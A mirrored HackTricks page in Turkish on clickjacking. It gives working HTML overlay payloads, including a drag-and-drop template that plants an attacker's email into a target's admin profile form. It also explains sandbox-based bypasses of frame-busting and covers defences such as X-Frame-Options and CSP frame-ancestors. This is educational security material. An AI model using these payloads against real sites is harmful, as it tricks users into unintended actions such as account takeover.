mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
229 lines
12 KiB
Markdown
229 lines
12 KiB
Markdown
# Clickjacking
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
|
||
|
||
## Clickjacking Nedir
|
||
|
||
Bir clickjacking saldırısında, bir **kullanıcı**, bir web sayfasındaki **görünmez** veya farklı bir öğe olarak gizlenmiş bir **öğe** üzerine **tıklamaya** **kandırılır**. Bu manipülasyon, kullanıcının istemeden kötü amaçlı yazılım indirmesi, kötü niyetli web sayfalarına yönlendirilmesi, kimlik bilgileri veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin çevrimiçi satın alınması gibi istenmeyen sonuçlara yol açabilir.
|
||
|
||
### Formları Önceden Doldurma Hilesi
|
||
|
||
Bazen bir sayfa yüklenirken **GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak** mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
|
||
|
||
### Sürükle ve Bırak ile Form Doldurma
|
||
|
||
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (bildiğiniz e-posta veya özel şifre gibi) yazmasını doğrudan istemek istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, [**bu örnekteki gibi**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||
|
||
### Temel Yük
|
||
```markup
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 700px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
div {
|
||
position:absolute;
|
||
top:470px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
</style>
|
||
<div>Click me</div>
|
||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||
```
|
||
### Çok Aşamalı Yükleme
|
||
```markup
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 500px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
.firstClick, .secondClick {
|
||
position:absolute;
|
||
top:330px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
.secondClick {
|
||
left:210px;
|
||
}
|
||
</style>
|
||
<div class="firstClick">Click me first</div>
|
||
<div class="secondClick">Click me next</div>
|
||
<iframe src="https://vulnerable.net/account"></iframe>
|
||
```
|
||
### Sürükle\&Bırak + Tıkla yükü
|
||
```markup
|
||
<html>
|
||
<head>
|
||
<style>
|
||
#payload{
|
||
position: absolute;
|
||
top: 20px;
|
||
}
|
||
iframe{
|
||
width: 1000px;
|
||
height: 675px;
|
||
border: none;
|
||
}
|
||
.xss{
|
||
position: fixed;
|
||
background: #F00;
|
||
}
|
||
</style>
|
||
</head>
|
||
<body>
|
||
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
||
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
||
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
||
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
||
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
||
</body>
|
||
</html>
|
||
```
|
||
### XSS + Clickjacking
|
||
|
||
Eğer bir **kullanıcının tıklamasını gerektiren bir XSS saldırısı** tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, kullanıcıyı butona/bağlantıya tıklamaya kandırmak için bunu kötüye kullanabilirsiniz.\
|
||
Örnek:\
|
||
_Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece siz ayarlayabilir ve okuyabilirsiniz**). Bu detayları ayarlamak için kullanılan **formun** bulunduğu sayfa **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**._\
|
||
\_\_Bir saldırgan, **formu** **XSS yükü** ile **önceden doldurarak** o sayfaya bir **Clickjacking** saldırısı hazırlayabilir ve **kullanıcıyı** formu **göndermeye** **kandırabilir**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
|
||
|
||
## Clickjacking'i Azaltma Stratejileri
|
||
|
||
### İstemci Tarafı Savunmaları
|
||
|
||
İstemci tarafında yürütülen betikler, Clickjacking'i önlemek için eylemler gerçekleştirebilir:
|
||
|
||
* Uygulama penceresinin ana veya üst pencere olduğundan emin olmak.
|
||
* Tüm çerçevelerin görünür olmasını sağlamak.
|
||
* Görünmez çerçevelere tıklamayı önlemek.
|
||
* Kullanıcıları potansiyel Clickjacking girişimlerine karşı tespit etmek ve uyarmak.
|
||
|
||
Ancak, bu çerçeve kırıcı betikler aşılabilir:
|
||
|
||
* **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.
|
||
* **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir, `allow-top-navigation` olmadan. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin,
|
||
```html
|
||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||
```
|
||
The `allow-forms` ve `allow-scripts` değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin beklenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
|
||
|
||
### Sunucu Tarafı Savunmaları
|
||
|
||
#### X-Frame-Options
|
||
|
||
**`X-Frame-Options` HTTP yanıt başlığı**, tarayıcılara bir sayfanın `<frame>` veya `<iframe>` içinde render edilmesinin meşruiyeti hakkında bilgi verir ve Clickjacking'i önlemeye yardımcı olur:
|
||
|
||
* `X-Frame-Options: deny` - Hiçbir alan içeriği çerçeveleyemez.
|
||
* `X-Frame-Options: sameorigin` - Sadece mevcut site içeriği çerçeveleyebilir.
|
||
* `X-Frame-Options: allow-from https://trusted.com` - Sadece belirtilen 'uri' sayfayı çerçeveleyebilir.
|
||
* Sınırlamaları not edin: tarayıcı bu yönergeyi desteklemiyorsa, çalışmayabilir. Bazı tarayıcılar CSP frame-ancestors yönergesini tercih eder.
|
||
|
||
#### İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi
|
||
|
||
**CSP'deki `frame-ancestors` yönergesi**, Clickjacking koruması için önerilen yöntemdir:
|
||
|
||
* `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzer.
|
||
* `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzer.
|
||
* `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` ile benzer.
|
||
|
||
Örneğin, aşağıdaki CSP yalnızca aynı alan adından çerçevelemeye izin verir:
|
||
|
||
`Content-Security-Policy: frame-ancestors 'self';`
|
||
|
||
Daha fazla ayrıntı ve karmaşık örnekler için [frame-ancestors CSP belgelerine](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerine](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bakabilirsiniz.
|
||
|
||
### İçerik Güvenlik Politikası (CSP) ile `child-src` ve `frame-src`
|
||
|
||
**İçerik Güvenlik Politikası (CSP)**, tarayıcının hangi kaynakların içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.
|
||
|
||
#### `frame-src` Yönergesi
|
||
|
||
* Çerçeveler için geçerli kaynakları tanımlar.
|
||
* `default-src` yönergesinden daha spesifiktir.
|
||
```
|
||
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||
```
|
||
Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden çerçevelere izin verir.
|
||
|
||
#### `child-src` Yönergesi
|
||
|
||
* Web işçileri ve çerçeveler için geçerli kaynakları belirlemek üzere CSP seviye 2'de tanıtılmıştır.
|
||
* frame-src ve worker-src için bir yedek olarak işlev görür.
|
||
```
|
||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||
```
|
||
Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
|
||
|
||
**Kullanım Notları:**
|
||
|
||
* Kullanımdan Kaldırma: child-src, frame-src ve worker-src lehine aşamalı olarak kaldırılmaktadır.
|
||
* Yedek Davranış: Eğer frame-src yoksa, child-src çerçeveler için yedek olarak kullanılır. Her ikisi de yoksa, default-src kullanılır.
|
||
* Sıkı Kaynak Tanımı: Sömürüyü önlemek için direktiflerde yalnızca güvenilir kaynaklar dahil edilmelidir.
|
||
|
||
#### JavaScript Çerçeve Kırma Scriptleri
|
||
|
||
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve kırma scriptleri, bir web sayfasının çerçevelenmesini önlemek için kullanılabilir. Örnek:
|
||
```javascript
|
||
if (top !== self) {
|
||
top.location = self.location;
|
||
}
|
||
```
|
||
#### Anti-CSRF Tokenlarının Kullanımı
|
||
|
||
* **Token Doğrulama:** Web uygulamalarında anti-CSRF tokenları kullanarak, durum değiştiren isteklerin kullanıcının isteğiyle ve Clickjacked bir sayfa aracılığıyla değil, kasıtlı olarak yapıldığından emin olun.
|
||
|
||
## Referanslar
|
||
|
||
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||
Bugün Erişim Alın:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|